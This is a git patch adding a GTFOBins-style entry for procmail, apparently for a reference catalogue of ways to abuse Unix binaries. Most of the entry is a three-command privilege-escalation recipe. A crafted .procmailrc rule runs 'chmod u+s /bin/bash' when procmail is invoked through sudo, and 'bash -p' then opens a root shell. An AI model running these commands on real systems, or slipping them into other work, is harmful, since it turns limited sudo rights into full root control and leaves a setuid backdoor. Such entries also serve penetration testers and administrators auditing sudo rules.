From 652d31eff51aba60677378d7ca2066ca1e2f305b Mon Sep 17 00:00:00 2001 From: Pylonet Date: Tue, 26 Nov 2024 22:57:42 +0100 Subject: [PATCH] ProcmailSudo --- _gtfobins/procmail.md | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 _gtfobins/procmail.md diff --git a/_gtfobins/procmail.md b/_gtfobins/procmail.md new file mode 100644 index 0000000..91f5fb1 --- /dev/null +++ b/_gtfobins/procmail.md @@ -0,0 +1,11 @@ +--- +description: | + Procmail is an email server software component. +functions: + sudo: + - description: By modifying/creating a procmailrc configuration file, we can specify a processing rule for any command we want. + code: | + echo -e ':0\n| chmod u+s /bin/bash' > .procmailrc + echo "gtfobins" | sudo procmail -m .procmailrc + bash -p +---